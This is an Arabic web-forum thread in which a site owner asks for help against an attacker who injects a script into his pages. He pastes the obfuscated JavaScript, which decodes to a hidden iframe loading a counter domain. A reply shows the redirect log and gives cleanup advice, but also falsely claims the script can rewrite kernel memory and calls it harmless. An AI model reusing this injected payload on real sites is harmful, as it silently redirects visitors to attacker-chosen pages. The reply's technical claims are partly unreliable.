الموضوع: فزعتكم شباب

السلام عليكم ورحمة الله وبركاته

اخواني اعضاء سوالف فيه شخص مسوي لي صداع يدرج كود في صفحات موقعي,, وحست ابغى اعرف كيف اوقف الثغرة هذي,,

الكود اللي يدخله هذا هو

كود:

<script type="text/javascript">function uavxgizkldzyckm(fuqgkpou){var dtzhtxkdkr="";for(dolnbjhcfei=0;dolnbjhcfei<fuqgkpou.length;dolnbjhcfei+=2){dtzhtxkdkr+=(String.fromCharCode(parseInt(fuqgkpou.substr(dolnbjhcfei,2),16)));}document.write(dtzhtxkdkr);}uavxgizkldzyckm("3C69eiqpxekm66eiqpxekm72eiqpxekm616D652073eiqpxekm72633D226874eiqpxekm74eiqpxekm70eiqpxekm3Aeiqpxekm2F2F746Feiqpxekm703130302D636F756E74eiqpxekm65722E636Feiqpxekm6Deiqpxekm2Feiqpxekm746Feiqpxekm70eiqpxekm3130302F69eiqpxekm6E6465782E70eiqpxekm68eiqpxekm70eiqpxekm22eiqpxekm20eiqpxekm66eiqpxekm72eiqpxekm61eiqpxekm6D65626Feiqpxekm72eiqpxekm64eiqpxekm6572eiqpxekm3D22eiqpxekm30eiqpxekm2220eiqpxekm626F72eiqpxekm646572eiqpxekm3D2230eiqpxekm22eiqpxekm20eiqpxekm7769eiqpxekm64eiqpxekm7468eiqpxekm3Deiqpxekm22eiqpxekm30222068eiqpxekm65eiqpxekm69eiqpxekm67eiqpxekm68eiqpxekm743Deiqpxekm22302220737479eiqpxekm6Ceiqpxekm65eiqpxekm3D22eiqpxekm70eiqpxekm6Feiqpxekm73eiqpxekm6974eiqpxekm69eiqpxekm6F6E3A206162eiqpxekm736F6C757465eiqpxekm3B20eiqpxekm76697369eiqpxekm62eiqpxekm696C69eiqpxekm74793A20eiqpxekm68696464eiqpxekm65eiqpxekm6Eeiqpxekm3B2064eiqpxekm69eiqpxekm73eiqpxekm70eiqpxekm6Ceiqpxekm61793Aeiqpxekm206E6F6E65eiqpxekm22eiqpxekm3Eeiqpxekm3Ceiqpxekm2Feiqpxekm696672eiqpxekm61eiqpxekm6Deiqpxekm65eiqpxekm3Eeiqpxekm".replace(/eiqpxekm/g, ""));</script>

وهذا على صفحات php و html وحتى اللي محمية بباسورد htacsses.

اتمنى احد يفيدنا كيف أحل مشكلة هذه الثغرة,,,,

اذا كنت صاحب موقع فهذا امر لا تقدر ان تقوم بعمله الا المستضيف

للمعلومة عادة هذا يكون هجوم Js Malicious كود جافا خبيث مشفر يقوم بضرب جميع الملفات التى تحمل الملفات بإسم index و login على الخادم فأي شخص يقوم بفتح صفحة تحمل هذا الكود يقوم الكود ببدأ عمله على اساسه توجيه الشخص لرابط معين والكود الذي قمت بسردة بعد فك تشفيره يذهب الى الراوبط التالية

كود:

-  Process : iexplore.exe[552] (6)                                                                                                                                                                                            
   1    13:03:09:296  0.249 s      GET     302     337   text/html        http://top100-counter.com/top100/index.php                                http://top100-counter.com/tds/in.cgi?default  
   2    13:03:09:562  0.265 s      GET     302     518   text/html        http://top100-counter.com/tds/in.cgi?default                              http://google.com                             
   3    13:03:10:046  0.204 s      GET     301     550   text/html        http://google.com/                                                        http://www.google.com/                        
   4    13:03:10:375  0.124 s      GET     302     568   text/html        http://www.google.com/                                                    http://www.google.com.eg/                     
   5    13:03:10:625  0.156 s      GET     200     3557  text/html        http://www.google.com.eg/                                                                                               
   6    13:03:10:812  0.124 s      GET     304     79    text/javascript  http://www.google.com.eg/extern_js/f/CgJhchICZWcrMBM4ACw/txcTs-aSqaA.js

اري انها روابط عادية للعدادات تقريباً ولكن الكود لا تقلق منه فلا يقوم بضرب محتوي الصفحة
الكود عادة ما تجده في اخر الصفحة او في اول الصفحة في كل ملف
الحل اذا كنت المستضيف هو تغير كلمة مرور الخادم وايضاً المواقع المصابة ومسح الكود من جميع الملفات وعمل بحث عن اي backdoors او trojan في الخادم وايضاً عمل block لمصدر الكود اذا كان يحتوي على رابط متفيرس

والاهم من ذلك هو ترقية الكيرنيل الخاص بالخادم لإنه هو السبب الرئيسي لذلك فقد يقوم كود الجافا بالكتابة على memory الخاصة بالكيرنيل حتى اذا قمت بحذف الكود سيعاود الرجوع مرة اخري

بعد ما تقوم بعمل البحث الشامل وسد الثغرات تقوم بعمل reboot للخادم

المصدر
RETIRED: Linux Kernel Multiple Prior to 2.6.24.1 Multiple Memory Access Vulnerabilities

الله يعطيك الف عافيه اخي الكريم

السيرفر خاص فيني,, بس ياليت حبه حبه علي انا من زمان عن الثغرات انشغالي بالعمل مايعطيني وقت ابداً,,,

ياليت تفزع وتشيك لي على السيرفر اخوي وحقك محفوظ,,,

وهذا ماسنجري
alfaris@alfaris.net